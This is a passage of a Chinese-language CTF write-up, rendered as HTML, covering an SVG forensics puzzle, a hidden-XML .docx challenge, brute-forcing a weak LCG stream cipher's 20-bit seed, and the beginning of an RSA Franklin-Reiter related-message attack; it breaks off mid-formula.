523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(46854,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>總共有 39 個 <code>&lt;path&gt;</code>，且注意到每個 <code>&lt;path&gt;</code> 的 <code>transform</code> 中，<code>translate(x,y)</code> 的 <code>x</code> 座標遞增，<code>y</code> 座標固定為 0，因此猜測這段就是 Flag 文字轉圖形。<br>所以也不用管後面在幹嘛，直接把其他部分都刪掉，然後把這串 <code>&lt;g&gt;</code> 拉出 <code>&lt;def&gt;</code>，同時把 <code>fill=&quot;#f8efc9&quot;</code> 改成 <code>fill=&quot;#000000&quot;</code> 方便我們看。</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>svg</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://www.w3.org/2000/svg<span class="token punctuation">"</span></span> <span class="token attr-name">viewBox</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>0 0 577.0 635.0<span class="token punctuation">"</span></span> <span class="token attr-name">width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>577.0<span class="token punctuation">"</span></span> <span class="token attr-name">height</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>635.0<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>s17<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(62.500,454.000) scale(0.009400,-0.009400)<span class="token punctuation">"</span></span> <span class="token attr-name">fill</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#000000<span class="token punctuation">"</span></span> <span class="token attr-name">stroke</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>36<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-linejoin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>round<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(0,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(1233,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>      <span class="token comment">&lt;!-- 中間省略 --></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(46854,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>g</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>svg</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>點開圖片看便是 Flag。用個 OCR 把他讀出來就好。</p><h2 id="invisible-editor" tabindex="-1" id="Invisible-Editor">Invisible Editor</h2><p>題目給了一個 <code>.docx</code> 檔案，打開顯示 Did you see the flag?<br>把副檔名改成 <code>.zip</code>，看到有個 <code>customXml/item1.xml</code>，打開滑一下就能找出答案。</p><h1 id="crypto" tabindex="-1">Crypto</h1><h2 id="aperture-science%3A-stream-calibration" tabindex="-1" id="Aperture-Science-Stream-Calibration">Aperture Science: Stream Calibration</h2><blockquote><p>好久沒看到這種 Easy Crypto 了</p></blockquote><p>題目給了以下 <code>encrypt.py</code></p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>encrypt.py</span></div><code class="language-python"><span class="token comment">#!/usr/bin/env python3</span>MOD <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token number">32</span>A <span class="token operator">=</span> <span class="token number">1664525</span>C <span class="token operator">=</span> <span class="token number">1013904223</span><span class="token keyword">def</span> <span class="token function">keystream</span><span class="token punctuation">(</span>seed<span class="token punctuation">,</span> length<span class="token punctuation">)</span><span class="token punctuation">:</span>    state <span class="token operator">=</span> seed <span class="token operator">&amp;</span> <span class="token number">0xFFFFF</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> _ <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">:</span>        state <span class="token operator">=</span> <span class="token punctuation">(</span>A <span class="token operator">*</span> state <span class="token operator">+</span> C<span class="token punctuation">)</span> <span class="token operator">%</span> MOD        out<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token punctuation">(</span>state <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">xor_bytes</span><span class="token punctuation">(</span>left<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>left<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">encrypt</span><span class="token punctuation">(</span>message<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> facility_seed<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> xor_bytes<span class="token punctuation">(</span>message<span class="token punctuation">,</span> keystream<span class="token punctuation">(</span>facility_seed<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以及 <code>ciphertext.txt</code>，裡面是一串 Hex<br>注意到 <code>state = seed &amp; 0xFFFFF</code> 讓 <code>state</code> 的範圍限縮在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mn>0</mn></mrow><annotation encoding="application/x-tex">2^20</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">0</span></span></span></span>，所以我們只要考慮 <code>seed</code> 從 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mn>0</mn></mrow><annotation encoding="application/x-tex">2^20</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">0</span></span></span></span> 並爆破即可</p><p>承襲題目給的 code，並加入</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">c <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">.</span>fromhex<span class="token punctuation">(</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"ciphertext.txt"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">for</span> seed <span class="token keyword">in</span> trange<span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">&lt;&lt;</span><span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    m <span class="token operator">=</span> encrypt<span class="token punctuation">(</span>c<span class="token punctuation">,</span> seed<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token string">b'grodno&#123;'</span> <span class="token keyword">in</span> m<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span>m<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">break</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因為題目是用 XOR，所以 <code>decrypt</code> 跟 <code>encrypt</code> 長一樣。</p><h2 id="aperture-science%3A-still-alive" tabindex="-1" id="Aperture-Science-Still-Alive">Aperture Science: Still Alive</h2><p>題目給了 <code>public.pem</code> 和如下的 <code>ciphertexts.json</code></p><pre class="line-numbers language-json" data-language="json"><div class="caption"><span>ciphertexts.json</span></div><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"c1"</span><span class="token operator">:</span> <span class="token string">"...(略)"</span><span class="token punctuation">,</span>  <span class="token property">"c2"</span><span class="token operator">:</span> <span class="token string">"...(略)"</span><span class="token punctuation">,</span>  <span class="token property">"a"</span><span class="token operator">:</span> <span class="token number">1337</span><span class="token punctuation">,</span>  <span class="token property">"b"</span><span class="token operator">:</span> <span class="token string">"5577100914618608347433571795909361526455637706263378490"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><s>通靈</s>問 AI 說是 Franklin-Reiter 相關訊息攻擊<br>也就是兩個明文有關係</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>m</mi><mn>2</mn></msub><mo>=</mo><mi>a</mi><mo>∗</mo><msub><mi>m</mi><mn>1</mn></msub><mo>+</mo><mi>b</mi><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">m_2 = a*m_1 + b \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>如此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mn>1</mn></msub><mo>=</mo><msubsup><mi>m</mi><mn>1</mn><mi>e</mi></msubsup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo><msub><mi>c</mi><mn>2</mn></msub><mo>=</mo><msubsup><mi>m</mi><mn>2</mn><mi>e</mi></msubsup><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><msub><mi>m</mi><mn>1</mn></msub><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">c_1 = m_1^e \pmod{N}c_2 = m_2^e = (am_1+b)^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9614em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9614em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">m_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>f</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>c</mi><mn>1</mn></msub><mo>−</mo><msup><mi>x</mi><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_1(x) = c_1 - x^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7144em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>和</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>f</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>c</mi><mn>2</mn></msub><mo>−</mo><mo stretchy="false">(</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_2(x) = c_2 - (ax+b)^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span 